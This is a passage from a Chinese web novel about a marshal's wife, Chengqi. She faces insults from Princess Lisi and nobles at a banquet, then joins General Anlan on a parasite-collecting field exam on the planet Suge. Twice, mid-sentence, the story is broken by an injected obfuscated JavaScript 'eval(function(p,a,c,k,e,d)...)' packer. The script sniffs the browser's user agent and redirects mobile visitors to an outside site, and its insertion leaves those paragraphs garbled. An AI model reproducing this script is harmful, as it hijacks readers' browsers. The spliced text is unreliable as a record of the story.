澄栖刚来不久,耳朵听了一点,但没听完,她这个人就是这样,好奇心比较重,所以只好虚心请教了。 “嗯?”离澄栖最近的贵族吓了一跳,回头一看,是一个长相无害的漂亮女人,之前没见过,估计是哪家刚长成的小姑娘呢。 “这位小姐,怎么到男士区域这边来了,没有人陪你一起玩么?如果时候这样,我很乐意邀请你跳一支舞。” 澄栖婉拒,“就想知道,你们刚刚在说什么,好像很有趣的样子。” 她真的觉得有趣,几个大男的,笑得跟偷油的耗子一样好看,她还隐隐约约听到了什么熟悉的称呼,能不好奇,能不觉得有趣么。 真是个可爱的小姑娘呢。 几个男的笑几声,开始跟她讲这里面的东西。 “听说今天晚上,元帅新娶的夫人会到。” “嗯嗯,我知道,这也没意思啊,不就是多到一个人吗?” “小姐你有所不知,如果光是这样当然没意思,但是今天莉丝公主也会出席呢,莉丝公主,可是一直疯狂追求元帅,最后被一个下等星的贱民截了胡,你说说,她能甘心么,今天晚上啊,有一场大戏看了。”解释的男人提到莉丝公主追求元帅,语气里难免有几分酸意。 那可是陛下最宠爱的公主,勾勾手指不知道多少人争着讨好,偏偏看上了原颂。 “哦,原来是这样,听起来确实挺有意思的,谢谢您的解释。”澄栖认可的点头。 “真是个有礼貌的小姑娘,之前没有在宴会上见过你,不知道我是否有幸知道小姐的身份?” “当然了,”澄栖点点头,“我是元帅家的。” “元帅?哪个元帅?”联邦没几个元帅,也没听说哪个元帅家里有这个年纪的女儿或者孙女啊。 “当然是,原颂元帅啦!”澄栖手里的酒杯一翻,酒淋到地上,“感谢各位解惑,敬你们。” 周围一片死寂,刚刚说过话的人,脸色比吃了苍蝇还要难看。 澄栖摇曳着裙尾往里走了,哪管背后的人想什么说什么。 或许是这么一出,消息不知道从哪里传开了,澄栖一路上遇到的人都还挺有礼貌的。 毕竟在外面,该有的脸面还是要有的,像那些不带着脸出来的人,还是挺少的。 澄栖走半天,终于在女佣的引领下找到了女士区域在哪里。 大家确实是提前收到消息了,围在一团,沉默地孤立她。 对于这种反应,澄栖暗暗松了一口气,刚刚已经往地上泼了一杯酒了,要是一会儿再往地上泼一杯酒,那得罪的人就太多了,她说过不会给原颂添麻烦的,还是得注意一点形象。 所以,她决定乖乖坐着吃点东西。 从她坐下,周围扫视的视线就没有停过。 澄栖被看得烦了,放下手里的食物,抬头,恰巧和一位夫人的视线对视上,对方迅速尴尬的收回了视线。 澄栖礼貌询问,“请问,这些东西,是不能吃吗?” “额,当然可以吃了。” “哦,那我继续吃了?” “嗯,好。” “谢谢啊。”澄栖点点头,道过谢后继续食用摆盘精美的食物。 等她一低头,打量的视线又没完没了的扫过来。 这还怎么安心吃饭啊。 澄栖硬着头皮吃了一点,还是叹气,拿起酒杯打算说两句再敬一杯酒的,一抬头,看见一个眼眶又红又肿的漂亮姑娘站在她面前。 看起来就是那种天真不谙世事的漂亮小姑娘,身上的首饰至少三斤重,像只孔雀一样站在澄栖面前开屏,恶狠狠盯着她。 但她哭得实在太惨了,这恶狠狠的目光也大打折扣。 “你就是澄栖?” 居然有人叫得出来她的名字?澄栖觉得稀奇。 “对,我是。” 得到她肯定的答复,小姑娘颤抖着用手指指着她,眼睛里的泪水像断线的珠子一样往下掉。 “你跟我进来。” 她说完,旁边突然出现两个身材高大的女佣,把澄栖夹在中间,伸出手示意她往前走。 澄栖大概知道她是谁了。 莉丝公主。 ……皇族啊。 那她岂不是,很容易就能见到安萨斯陛下咯? 那个,疑似豢养朝暮的人。 “我在叫你呢,你是聋子吗?” 莉丝公主语气刻薄。 澄栖才缓过神,“什么?” “你这个下等星的贱民,连人话都听不懂!为什么是你,为什么是你!” 澄栖两个字,直接让她暴怒,她一脚踢在旁边一看就死贵的柜子上,估计是踢痛了,或者是别的什么原因,突然坐在地上大哭。 澄栖:……谁来救救她,现在这种场面,她要怎么办? “要不然站起来哭呗,地上多凉啊。”现在都快十一月份了,坐地上怕是不好哦。 莉丝公主狠狠瞪了她一眼,看见对方着装得体,连慌乱的情绪都没流露出来居高临下地看着她,顿时把旁边摆着的花瓶狠狠一推,花瓶碎在地上。 澄栖眼里露出心痛,这得多少钱啊,这个花瓶一看就不是什么便宜货。 终于在澄栖脸上看见表情变化,莉丝公主得意地抹掉眼泪,从地上站起来,“下等星来的就是下等星来的,没见过世面,这种花瓶我多得是,送人我都嫌寒碜。” “真的?”澄栖试探性开口,“我不嫌寒碜,要不然你送我一个?” 虽然名义上的遗产那么多,但是都是不动产,真正打在她账户上的钱只有每个月的生活费。也算够用,但是谁会嫌弃钱多呢,尤其时候这种天上突然掉下来的钱。 莉丝公主被澄栖的无耻震惊得不是一点半点。 可一听她提起钱,就想起来前几天偷偷听见父亲和首相的对话,顿时更难过了。 “他们说,元帅的财产,好多都转到你的账下了?” 澄栖一点没觉得惊讶,大方回复,“也不是很多,才转了三分之一,应该还有三分之二没转完。” 话还没说完,莉丝公主的眼泪唰唰唰的流,“他们说的都是真的对吗?因为原颂将军不行了,所以在给你分遗产?你凭什么分走他的钱!” 澄栖不知道她到底是更在意原颂不行了,还是更在意她分走原颂钱的这件事情,索性一个一个问题回答,“是快死了。”原本是快要死了,后续也不能百分百确定能活,所以她不算撒谎。 至于遗产分配这个问题,“遗产分配是符合联邦法律的分配,更何况,我不分走,钱留着也没用啊。” 肉眼可见的,莉丝公主的情绪越来越不稳定,澄栖有些肉痛,“如果你也想要,我让秦叔给你也送一点?” 一句话,让莉丝公主瞬间爆炸,抹开眼泪,她指挥屋内的女佣,“把她抓起来!我不允许任何人觊觎他的财产!他只能是我的!” 澄栖被追得莫名其妙,都打算在空间扣里翻枪了,突然听见莉丝公主大吼一声,“我要把你押到父亲面前,让他赐死你!” 澄栖脚一顿,也不跑了,“那你抓我吧。” 莉丝将信将疑站在澄栖面前,“你以为父亲会为你做主?你只是下等星来的一个贱民,别做梦了。” 澄栖“嗯嗯”两声,手上悄悄把一小团朝暮塞进了莉丝公主的裙摆里。 这种超大裙撑加超大裙摆的晚礼服真的太棒了,裙摆边缘湿了一小块,连莉丝公主本人都没有注意到。 澄栖的沉默对莉丝公主来说,就是胜利的号角,她说,“我会让所有人都知道,你这种人,根本配不上原颂将军。” 其实大家都这么觉得,澄栖觉得没必要再说了,但是担心莉丝公主不去陛下面前哭,她还是识趣闭嘴了。 带着澄栖走到宴会大厅的时候,安萨斯陛下还没有到,大厅里只有围在一起说笑的男男女女和在舞池里跳舞的男男女女。 眼尖的人一看见莉丝公主的裙摆,顿时涌上去。 “亲爱的公主,在下是否有幸邀请您跳一支舞?” 莉丝停下脚步,狡黠的笑了,“当然,但是你要回答我一个问题。” “我和她,谁更好看?”莉丝指着澄栖。 邀请的男人眼睛都没眨一下,“当然是您了,公主,您是世界上独一无二最美丽的公主,任何人都不及您。” “至于这位女士,普通得令人发指。” 莉丝并不满意,这样普通的澄栖能够被父亲赐给原颂将军,而如此优秀的她却不能,这让她十分伤心。 莉丝绕开了邀请的男人,继续往前走。 看见这样的场面,顿时有聪明人知道,只有全力贬低澄栖,才会得到莉丝公主的青睐。 胆大的人没有再拦莉丝公主,而是拦下来澄栖。 “夫人。” 这个人是清楚澄栖的身份的,应该说,得益于一进宴会那杯酒,现在在场应该没有不认识她的人了。 莉丝果然因为这一声停下来脚步,她回头。 说话的男人仿佛受到鼓励,故意上下打量澄栖,“听说夫人是从下等星上来的,相比对于伺候人的事情十分熟练了,我的鞋脏了,可以让夫人请我擦一下吗?” 整个宴会顿时荒唐大笑。 如果原颂在这里的话,他们当然不敢这么对他的夫人,可是他现在不是半死不活躺在床上吗?连遗产都开始分割了,那他们自然也不用害怕了。 澄栖微笑着不说话,只是在心里默默把这个人记住。 莉丝看着澄栖的反应,也“扑哧”一下笑出声,顿时周围的男人更加来劲,“夫人,我也缺一个擦鞋的。” 很好,又多记住了一个人。 “夫人,我不缺擦鞋的,但是缺一个端茶送水的,夫人会擦鞋,想必端茶送水自然也不差吧?” “除了端茶送水,夫人不知道还会不会其他的技巧呢?好好伺候,我或许能为夫人解围呢。”说话的男人话里吐出些暧昧,里面的意思大家都懂,顿时又是满宴会厅的笑声。 看吧,这些蠢货,脑子里除了那点破事,再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17060406|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到其他羞辱人的手段了。 澄栖给这个人脑袋上打了个着重符号。 有人听着越来越难听的话,皱眉想要出头,被旁边的人拉了一把,“莉丝公主在。” “他们说话太难听了,我的女儿要是被人这么说,我非杀了他们。” “有什么办法呢,别去了,否则我们都会没有好果子吃的。” 澄栖记够了人,伸手拉裙摆,准备打个结方便动的,这时候拯救可怜少女的王子的突然出现,“阁下,这样对女孩子,是否有失绅士风度?” “首相大人?” 澄栖回头,看见一只伸向她的手。 手的主人带着温柔的微笑,“夫人不要害怕,我带你离开。” 澄栖脸上的笑容很僵硬。 僵硬得有点扭曲。 不是,都把她当成蠢货玩儿? 她都打算动手了,这种装模作样的煞笔这时候出来干什么? 布德温看见她的反应很得意,轻视让他只看见了澄栖僵硬的笑容,自动脑补出来被针对后有人出面的受宠若惊。 看来他的时机选择得很好。 等她受够白眼再像天使一样降临解围,为的就是看见她像狗一样的感动。 “不要担心,我会处理,跟我走吧。”他的语气更加温柔。 澄栖不想走,她还打算等安萨斯陛下到,往他身上丢点水团看看什么反应。 “首相大人,我要带她见陛下。”莉丝开口硬刚。 澄栖在心里默默点头,对,就是这样,多说几句。 布德温的态度也很强硬,看起来他是要打定主意得到澄栖的感谢了。 他没说话,拉着澄栖走出宴会大厅。 莉丝居然没拦。 澄栖气得牙都要咬碎了。 被拉到宴会入口处,布德温用自己最好看的半边脸对着澄栖,声音磁性好听,“夫人别担心,我会帮助你的,我叫布德温。” 布德温布德温,果然是个温桑,坏她好事。 澄栖抽了三四次,终于把手抽回来了。 深深吸气把怒火压下去,“谢谢首相大人,但是我听说您和元帅大人关系不太好,我不敢和您多接触,抱歉。” 澄栖说完头也不回的就走了。 布德温终于从自我感动中回过神来,突然发现,这个被人鄙夷不屑的元帅夫人,好像有点意思。 澄栖脚上的高跟鞋踩得响天彻地,怎么想怎么不得劲,坐在飞行器里,更是想不过来,“等着,先不回去。” 水团没丢到安萨斯身上她还能忍,毕竟有风险的事情做了不一定成功,但是被骂了,却天降岔子没机会打回去,她再怎么也不甘心。 这场宴会因为种种原因,最后还是不欢而散,澄栖没有蹲守多久,就见到陆陆续续走出宴会大厅的人。 这场宴会很不平静。 不光是宴会上,还有宴会后。 多位贵族大臣在路上被伏击,最严重的那位,双腿都被打断了,更加奇怪的是,被打后的人,竟然全部保持沉默。一时间,联邦主星惶恐不安,以为是什么黑暗势力暗中行动。 被打上黑暗势力的澄栖活动了一下关节,带着原颂的私兵坐上飞行器,总算心里好受一点了。 她总算是找到了私兵的正确用法,这些人下起黑手来,是真的牛啊。 回到别墅的时候,二楼的灯还亮着,原颂特意在等她。 澄栖上楼,看见人坐在沙发上看文件。 “回来了,宴会那边怎么样?” 不说还好,说起来澄栖差点翻白眼,“元帅,你到底干了什么,能让大家这么讨厌你?”连带着她跟着遭殃。 原颂抬头,有些疑惑,“什么?” “布德温,还有杂七杂八的贵族大臣们,听见你要死了,跟过年杀猪一样高兴。” 嗯,也是有不讨厌原颂的,莉丝公主,但这就更加糟糕了,因为她喜欢原颂,所以恨死了她。澄栖无力吐槽,“真是受尽苦楚。” 原颂假装不知道她宴会后带人把各位贵族打了个遍的事情。 澄栖打得高兴了,扫尾的事情他可以来做。 “那你有没有想要的补偿?” 补偿?澄栖眼睛一下亮了,原颂在她心里跟财神爷似的,充满了魅力。 魅力?就是太有魅力,让她一下想到另一个被冲昏头脑的,莉丝公主,整个人快反感魅力这个词,一拳打在沙发上,咬牙切齿,“你少散发点魅力吧!当男人的不能本分点吗,拈花惹草!” 说完话,澄栖摔门而去,徒留原颂满脸疑惑。 但澄栖连补偿都不要,估计是真气得狠了。 澄栖真的很烦。 莉丝公主不知道哪里弄到了她的通讯,一天八百条好友申请,附加的消息永远是那么几条没营养,看得人发腻的骂人的话,一点新意都没有。 她干脆通过了莉丝的好友申请,然后拍了一张和昏睡的原颂十指相扣的图片过去,在对方还没有来得及反应的时候,把人加进黑名单。 这下子轮到莉丝气得发抖了,她不仅在宴会上被父亲狠狠责骂,还收到了澄栖的挑衅照片,人一下子一口气没上来,晕了过去。 澄栖才终于得到了几天安详日子。 她搬回了出租屋,不久就要期末考试了,这套房子上学方便很多,而且她房租都付了,没有不住的道理。 这些日子下来,澄栖对寄生虫专业适应良好。 当然,这里最大的功臣必须是安澜将军。 她手里各种奇形怪状的寄生虫放出来,经过这段时间的折磨,他们这群名义上的研究人员,实际上,恐怕都可以上战场打寄生虫了。 当同学笑着对安澜说出来这句话的时候,安澜陷入了沉思。 澄栖看着安澜的变化,笑容僵了,心里涌现出来一些不好的预感。 同学们却没有意识到,还在为他们在格斗课上练就出来的肌肉感到欣喜。 “我觉得充满了力量!” “像我们这种研究和格斗都很行的研究员不多了。” “还要什么士兵啊,我们都能直接上战场杀寄生虫!” “就是!感谢安澜将军!” 安澜抬头,问学生们,“你们真的这么想?” 14. 苏格星前线 “呃——”学生们终于意识到好像有什么地方不太对劲了。 安澜脸上的笑容越加扩大,澄栖心里的不安越来越重。 “那真是太好了,既然这样,你们的结业考试就提前吧。” 结业考试提前? 也就是说不用再天天被寄生虫追着撵着跑了,这可是天大的好消息! “真的吗!安澜将军万岁!” “安澜将军我们结业考试很难吗?” “可以微微透露一点题吗?” 安澜微笑,“当然不难了,你们的结业考试很简单。苏格星最近爆发了大批寄生虫入侵,有好些奇怪的寄生虫在整个联邦历史上都极其罕见,所以——” 所以——澄栖心里不好的预感果然成真了。 她趁着安澜话才说道一半的时候,强行打断她,“安澜将军,我申请缓考!” 能考上联邦军校的都不是什么笨人,听见安澜的前半段话,大概知道她想干什,只是不敢相信,现在澄栖先一步申请缓考,同学们也是开团秒跟, “哎,身体不舒服,安澜将军,我也要申请缓考!” “对对对,我也是!” “我也缓考!” 澄栖觉得安澜怕是疯了。她是怎么敢的啊。 每一个寄生虫研究员都是联邦宝贵的财富,他们培养周期太长,培养成本更是高得不得了。可是安澜将军,居然想带他们去苏格星抓寄生虫! 那可是真前线! 他们就说着玩的啊,真在前线战斗的军队,哪个不是配备了顶级的战斗装备。 而安澜现在想带着他们就这么去前线,她真以为谁都是她那种天才啊喂! 当年安澜将军单枪匹马在寄生虫包围圈三进三出杀穿包围奠定了她在军部的地位,但他们,真的还只是小菜鸟啊! 安澜眼皮子都没抬,“哦,缓考也是去苏格星。还有带头捣乱那个,我很不高兴,所以你的平时分没了,考试分拿不到满分,就等着重修吧。” 澄栖的脸色瞬间跟吃了那什么一样难看。 格斗课的总分有两个部分,一个是平时分,占百分之四十,一个是考试分,占百分之六十,澄栖的平时分扣完,也就意味着,要及格,她的考试分必须得拿满。 要在安澜手上拿满分,澄栖觉得,她做梦可能比较快。 “别担心,我会向军队申请,带一支队伍过去,他们会全程保护你们,你们只是在前线捡寄生虫,也算是提前适应一下以后的研究员生活。” “这样啊。” “那好像确实还行。” 同学们举起的手默默放下去了,丢给澄栖“我先撤了,姐妹你加油”的眼神。 安澜说话的时候,视线一点都没有在澄栖身上离开过。 她澄栖觉得自己的泪水都要出来了。 同学们可能真的只是在队伍的保护□□验体验研究员的生活,捡捡寄生虫,她可就不一定了。 最后,澄栖回别墅,给原颂留了两袋血,最近他的病情越发稳定,输血量从一袋到半袋,再到现在四分之一,两袋,绝对足够原颂撑到她回来,如果不出意外的话。 输完血,澄栖无精打采上了去苏格星的飞船。 秦叔知道她去苏格星的消息的时候,他们已经出了主星,无法截停,没办法,秦叔只好提前给原颂输了血,把人弄醒了。 “谁带他们去苏格星了,联邦军校和军部都疯了?”原颂眉头皱得死死的。 “安澜将军向军部和军校都递了申请书,她亲自带队,两边评估了最近苏格星的危险系数,比较稳定,就同意了。” 安澜,恐怕安什么好心。 原颂拔了针头,拨通讯给何希南吩咐了什么,转头让秦叔秘密准备去苏格星的飞船。 “元帅,安澜将军那边还带了队伍过去,我塞了我们的人进去,夫人不会有事的。”秦叔挡在他面前,知道他想干什么,满脸不可置信。 原颂心力交瘁,如果是其他人带队,确实不会出事,可带队的人偏偏是安澜。 “准备吧,秦叔,她要是出了问题我也活不下去,我不亲自过去盯着,不放心。” 收到这个消息的不只是原颂,还有莉丝公主。 她一直关注着澄栖的动向,然后偷偷打听到,澄栖去苏格星了。 苏格星,寄生虫前线,如果澄栖死在那里,想必所有人都只会以为是寄生虫干的。 “我要去苏格星的飞船票。”她要亲自送澄栖上路。 澄栖在飞船上连着打了好几个喷嚏。 她拢了拢衣服,以为是快要到达目的地,天气骤然变化的原因。 苏格星是一颗四季如春的星球,淡淡的阳光淡淡的风,很适合虫类生长,再加上它偏远,人类少,的确很符合寄生虫的聚集条件。 窗户外面温暖的阳光打在人的手臂上,天空一望无际的湛蓝,飞船降落的时候,澄栖还从空中看到了不远处明媚鲜艳的花丛。 如果不说这是被寄生虫占领的星球,澄栖甚至会以为这是一颗旅游星。 显然不只是她一个人这么想,同学们的脸贴在窗户上,看着窗外的景色发出“哇”的感叹。 “这真的是前线吗?” “比我去过的任何一颗旅游星都要美!” “简直太不可思议了。” 安澜站起来,轻笑一声,“套好装备,接下来无论你们看到什么,听到什么,摸到什么,都不许大吵大闹,也不许返回飞船里。” “队伍只会在你们有生命危险的时候出手救人,你们在三天内,收集到一只罕见寄生虫样本并分析出数据算及格,在此基础上,每多收集到一只,就加十分。” 也就是说,需要收集到五只寄生虫样本数据,才算满分,当然,对于澄栖而言,五只,刚好够她这门课及格。 学生们回复表示理解,然后,排着队一个接着一个下了飞船。 第一个站在地面的人,脸色瞬间苍白,沉默着说不出话来。 然后是第二个,一站到地面上,直接腿软得跪了下去。 然后是第三个,第四个…… 澄栖排在中间,不前不后,她一只脚踏在被硬化的地面上,感受到的不是接触土地的踏实,而是脚底板传来“咚——哒”“咚——哒”的心跳声。 好了,这下子她知道为什么大家都这幅死样子了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067586|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不建议你们使用驱虫剂,杀不完的。”安澜看着这群菜鸟的表情,邪恶得大笑出来,“现在,欢迎你们来到寄生虫的世界,象牙塔里的小同学们。” 它们是低级的寄生虫,寄生在没有生命的公路上,虽然心跳声重了点,但只要不进化,对人类无法造成伤害,所以同学们害怕过后也能强行保持镇定。 但对澄栖来说,这种感觉完全不一样。 她从脚下寄生在公路上的寄生虫心跳里,感受到了它们的情绪。每走一步,脚下的心跳也会发生变化,好像在对这群新到来的人类感到好奇和兴奋。 澄栖的脚在发抖,她默默脱了一只鞋子,往鞋垫子里塞了一沓卫生纸,再踩上去,呵呵,还是能感受到。 没招了,彻底没招了,速求一种能让人马上晕过去的办法。 一只手从后面拍了拍她的肩膀,澄栖僵硬转头,对上了安澜的脸。 澄栖张开嘴,机械地提起来自己的嘴角,“呵,呵。” 她就知道,安澜没安什么好心。 安澜压低声音在她耳边,“澄栖同学,你叫一声姐姐,我告诉你哪里能找到罕见寄生虫样本。” 澄栖神色平静地拉开和她的距离,“什么!安澜将军,你说我英勇逼人,伟岸的身影震惊到你了,要给我满分,这怎么好意思!及格就行了,我爱你安澜将军!” 澄栖对着她比心。同学们连脚下的心跳都忽略了,纷纷转头看着安澜, “将军,我也很伟岸啊!澄栖同学不要满分,我要!” “我也要!” “我觉得我自己也很顶天立地!” “都给满分了,我也要一个吧将军!” 安澜面无表情一脚把澄栖踹趴在地上,“满分?我只会打得人满地找牙,你们要不要试试?” 同学噤声,转回头往前走的速度更快了。 澄栖用手臂捂住整张脸,在地上呈一个大字形趴着不起来。 就这样吧,她愿意当一个废物。 “起来。”安澜冷声。 “起不来。”澄栖的嘴也被手臂捂着,有些沉闷。 然而下一刻,安澜拎着她腰间的衣摆,把人提了起来,澄栖整个人变成了一个小写的N字形。 “现在起得来了吗?” 澄栖脚踩在地上,反手抱着安澜不撒手,“我腿软,起不来。” 脚下的心跳声太烫脚了,澄栖悄悄把前脚掌放在安澜的脚背上,有了缓冲,总算能少感受到一些震动。 安澜没说话,任由她抱着,两个人就这样僵持。 澄栖无所谓,这样挺好的,大不了这门课她不修了。就站在这儿等同学们回来吧。 安澜轻笑,澄栖还没想明白她在笑什么,一阵风吹到她脸上。 防护服是完整的从头包裹到脚,没有皮肤露在外面,但恰恰是这样更恐怖,风里有蠕动的看不见的虫子在她脸上乱爬,隔着防护服异常渗人。 “忘记说了,空气里也有寄生虫,如果一直待在这里,不及时去建立营地的话,恐怕,过不了多久,这套防护服也会被它们寄生了。” 澄栖:…… 她利落从安澜身上下来,拔腿就跑。 15. 第 15 章 奔跑带起的风终于把脸上透明的寄生虫甩出去。 安澜在后面慢悠悠,摇头,还想和她斗,也不知道自己几斤几两。 一群人蹲在艰难搭起来的营地里报团取暖,晚上昼夜温差大,中间烧着柴火点起来的火堆。 这年头,还有回归原始生活的,他们真是太不容易了。更加不容易的是,明天他们就要单独出去找寄生虫了。 安澜给每个菜鸟都派了两个士兵跟着,聪明点的都提前跟自己的守护神打招呼攒熟悉度去了,只有澄栖。 因为安澜说,她会亲自跟着澄栖。 这样不好。澄栖觉得自己真的要完蛋。 “我现在叫姐还来得及吗?” “当然——”安澜语音拉长。 澄栖惊喜,澄栖眼睛发亮。 “当然是,来不及了。机会只有一次,错过了就是错过了,祝澄栖同学好运,五只寄生虫呢,要是澄栖同学放弃,我也不介意下学期继续和澄栖同学见面。” 谢谢,她并不想。 不就是寄生虫吗?难道寄生虫还能有安澜可怕吗?澄栖觉得自己又行了。 天一亮,澄栖踩着露水往外面走,身后安澜不远不近跟着。 澄栖知道她不会真让自己死掉的,脚底下的心跳乱七八糟,是很多只寄生虫交缠在一起,她没有方向,索性细细感受着血管和心跳最密集的方向,跟着走。 反正再怎么也是最低级别的寄生虫,干得过她,难道还干得过安澜吗? 澄栖走出去几公里,还是没有目标,她叹了一口气,蹲在一棵树边上,伸手一摸,果然,树干上也有微弱脉搏跳动。 安澜看着澄栖的动作,点点头,看着还像那么回事,好歹是学聪明一点了,没有继续像只苍蝇一样乱转,看得她烦。 这个头点得太早了,下一刻,澄栖平静的收回手指,开始对着那棵树高声赞美。 “树啊,你的树干是如此笔直粗壮,你的树冠是如此茂密美丽,树上的寄生虫啊,你是如此稳重镇定,啊!伟大的树和树里伟大的寄生虫啊,请给我一点指引吧,请问我接下来要往哪边走,才能见到更加伟大的寄生虫啊!” 安澜气得面容扭曲。 澄栖一无所知,还在试图和树里的寄生虫沟通。 她是相当擅长沟通的。 毕竟有水团的先例,她知道寄生虫能听懂她在说什么。 “什么,你也不知道吗?那你愿意为我选择一个方向吗,你是如此美丽动人,冰雪聪明,啊!我相信你的指引一定是正确的方向。” 清晰可见的,树冠高兴得摇了摇,窸窸窣窣的声音在此刻的澄栖耳里,就是无比美妙动人。 澄栖抬头,看见树冠偏东边的方向,微微倾斜。 原来真的可以啊。 “谢谢你!”澄栖高高兴兴站起来,拍了拍身上的泥土和落叶,往东边走。 安澜实在看不下去了,气得额头青筋暴跳,连找个路都不会,这死孩子是干什么吃的? 袖子撸起来打算给澄栖一点教训,然后看见澄栖在前面两条岔路口上,选择了那条看起来就很平坦开阔的道路。 这条路。安澜眼神微眯,视线注意到路边被丢弃的垃圾,把撸起来的袖子放下去,当作之前的事情都没有发生过,继续慢悠悠跟在澄栖后面。 澄栖的想法很简单,面前两条路,一条狭窄,路边是茂盛的草木,还有路上越加明显的心跳,一看就是那种寄生虫老巢。 而剩下这条路,开阔,平坦,甚至还有垃圾,就连路上的心跳都减少了不少,一看就是人为清理过的,危险性一下子就低下来了。 既然树叶的方向往这边指,那就说明这两条路都可以,所以好端端的,她为什么要去选择那条更加危险的道路,当然是哪里好走就往哪里走了。 澄栖自信地迈开脚。 她的预测彻底错了。 寄生虫的心跳数量少,还有人为制造的垃圾,除了是人特意清理过,还有一种可能。 就是说,会不会这条路本来就是通向垃圾场的路,寄生虫嫌弃垃圾场臭,所以不继续向前了呢? 澄栖意识到这种可能性的时候,人已经走到垃圾场的外围了,整个空气里都是那种难以名状的味道,她默默在自己从头裹到脚的防护服上再叠了一个防毒面罩。 脚已经诚实地往后退了一步,但走都走到这里,澄栖还是有点不甘心,余光看见一个从头到脚套着黑色防护服的人影,弯着腰,好像在找些什么。 有人? 苏格星是有军队驻扎的。在这里遇见穿防护服的人影,澄栖理所应当以为是军部的人。 军部的人在垃圾场里,总不可能是捡垃圾吧?那肯定是在排查寄生虫了。 原来树叶子真的没有骗她,这里是真的有寄生虫啊。澄栖觉得稳当了。 澄栖走上去拍了拍黑色人影的肩膀。 感觉有点不对劲。 这套黑色防护服的手感,为什么有点像垃圾袋,拍上去还会发出塑料垃圾袋的那种响声,难道是星际新研发出来的战服? 澄栖没有听说过,寄生虫研究院最近也没有发布过类似的防护服。 澄栖多留了个心眼,又拍了他一下,往后退两步,退出来足够逃跑的距离才站好说话,“请问,你是军部的人吗?” 弯着腰在地上找东西的人缓缓直起腰,转头,露出来一张被皱皱巴巴的黑色塑料袋包裹起来的模模糊糊的五官。 突如其来的一阵风一吹,他整个人向内凹陷,那张原本还有模糊五官的脸,瞬间变得凹凸不平。 不是防护服,是真的黑色塑料垃圾袋。 那阵风走了,那个人扯了扯自己身上的凹陷,重新变回了人形。 澄栖心里的风却刮起来了。 她现在真的害怕自己突然晕过去,又怕自己一直这么清醒着。 黑色塑料袋人整理好自己的衣服,对着澄栖点点头,没说话。 大概是说不出来的,毕竟不是真的人。 澄栖反应过来,它是在回答自己刚才的问题,“你是不是军部的人。” 连人都不是,它还敢点头。 澄栖沉默,眼前的景象太过于诡异,诡异到她居然挪不开自己的脚往后退。 塑料袋人看见 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澄栖收回枪,正准备收集这头垃圾袋人的数据时,四周瞬间跑出来十几头垃圾袋人。 澄栖拔腿就往垃圾场外面跑。 退出垃圾场外面,这十几头垃圾袋人隔着垃圾场外围的线对着澄栖龇牙咧嘴,手里姿势标准的端着枪。 可是他们手上实际上,端着的不过是被丢进垃圾场的废弃枪把,连子弹都没有。枪口还生锈了。 他们好像被困在这个垃圾场上,即使澄栖和它们相隔的距离不到三米远,但它们却再也没有迈出任何一步,只是排成笔直的一列,挡在澄栖面前。 透过垃圾袋人的缝隙,澄栖看见另外两头垃圾袋人把被她用子弹打倒在地上的垃圾袋人扶起来,然后标标准准敬了个军礼。 比她标准。 其实这些站成一排的垃圾袋人端枪的动作也比澄栖标准。 还是一群有当兵梦想的垃圾袋人。 澄栖想笑没笑出来。 安澜不知道什么时候站到了澄栖身后,看着她木楞的样子,把刀插进了地上,笑得眼泪都要出来了。 “澄栖同学,还挺会选地方的,一下子就找到罕见寄生虫了。” “他们是罕见寄生虫?” “当然。幽灵算是中级寄生虫里最罕见的一类之一了,也幸亏是遇上了我,要是你跟着其他人一起走,恐怕连这种寄生虫的名字都不知道。” 中级?澄栖皱眉,中级的寄生虫不应该寄生在低等级的活物身上吗?为什么会在垃圾袋身上?身体里还装着垃圾? 安澜看着她疑惑的眼神,也没有卖关子,“所以说幽灵很特殊呢,它们身为中级寄生虫,会寄生在没有生命的垃圾袋身上,是因为垃圾袋里面装的东西。” “安澜将军,这是什么意思?” 澄栖越来越听不懂了。如果垃圾袋里面有活物,为什么会一直待在垃圾袋里面?就算是植物,也会破袋而出,可是她现在见到的,明明就是,垃圾袋人。 16. 垃圾袋人(二) 安澜嘴角向上扬起,露出来一个嘲讽的笑容。 “那谁知道呢,说不定是什么缺德的人在人身上种寄生虫,人死了,寄生虫又还没长成。作为失败的实验体,就只能拿个垃圾袋套起来丢掉咯。” “身体里的寄生虫没有母体哺育自然死掉,就只有幽灵这种特殊的,吃掉死去的人,然后二次转换宿主到垃圾袋上,虽然等级是掉了,但好歹能活下来不是。” 澄栖头皮发麻。 “要我说啊,也是人缺德又没有见识,连幽灵都不认识,草草把东西丢掉,所以,让你发现了。” 安澜说完,手上刀一转,直接划开了一头垃圾袋人的身体。 从上到下,干干脆脆平均分成了两半。 垃圾袋里面的东西掉在地上,破旧不堪的战服,鞋子,徽章,还有残缺不全的骨头。 原来,真的是人。 安澜这一下动作,让原先还在观望的垃圾袋人彻底怒火中烧,将生锈破败的枪对准了她们两个。 澄栖深吸一口气,默默往后退,不欲与它们纠缠,然后被安澜一刀横在身前。 “安澜将军,这又是什么意思?”她冷声问道。 安澜笑,“小澄栖啊小澄栖,你做人该有的同情心和正义感呢?听到了这么令人难过的事情,难道不应该把这些人的尸骨带回去,要一个真相么?” “看着同胞这样死掉,变成冷冰冰的寄生虫,你竟然不觉得难过?” 